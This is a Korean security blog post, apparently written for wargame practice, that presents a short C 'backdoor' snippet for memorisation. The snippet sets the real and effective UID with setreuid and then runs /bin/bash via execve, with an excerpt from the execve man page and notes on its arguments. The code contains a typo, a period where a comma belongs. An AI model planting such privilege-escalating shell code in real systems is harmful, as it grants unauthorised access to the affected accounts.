본문으로 바로가기

(암기) backdoor 만들기

category Security/리버싱 2017. 11. 28. 22:34

- backdoor 만들기

지금까지 많은 backdoor를 만들어 왔지만 지금 C언어로 작성하는 구문은 정말 많이 사용하므로 외워두는 것이 좋다. 



 

 int main()

{

char *cmd[2];

cmd[0]="/bin/bash";

cmd[1]=(void *)0;


setreuid(3004,3004);

execve(cmd[0]. cmd. cmd[1]);

}

 


# man execve

 

 NAME

       execve - execute program


SYNOPSIS

       #include <unistd.h>


       int execve(const char *filename, char *const argv[], char *const envp[]);


DESCRIPTION

       execve() executes the program pointed to by filename.  filename must be

       either a binary executable, or a script starting with  a  line  of  the

       form  "#! interpreter [arg]".  In the latter case, the interpreter must

       be a valid pathname for an executable which is  not  itself  a  script,

       which will be invoked as interpreter [arg] filename.


       argv  is  an array of argument strings passed to the new program.  envp

       is an array of strings, conventionally of the form key=value, which are

       passed  as  environment to the new program.  Both argv and envp must be

       terminated by a null pointer.  The argument vector and environment  can

       be  accessed  by the called program's main function, when it is defined


 

> 결국 execve 는 system과 같이 /bin/bash를 실행 시켜주는 역할을 하는데 execve는 환경 변수를 추가로 지정할 수 있습니다. 

> 여기서 환경변수가 0으로 초기화된 cmd[1]로 설정 되어있기 때문에 지금 이 코드는 system을 쓰는 것과 다름이 없다. 

> 인자로 전달된 배열은 NULL(\0)로 저장해야 마지막임을 알아차리고 인자를 받지 않는다. 때문에 cmd[1]을 반드시 초기화 해야 한다. 








'Security > 리버싱' 카테고리의 다른 글

Level5 문제해결  (0) 2017.11.29
Level4 문제해결  (0) 2017.11.29
Level3 문제 해결  (0) 2017.11.28
Level2 문제 분석/응용  (0) 2017.11.28
Level2 문제 해결  (0) 2017.11.28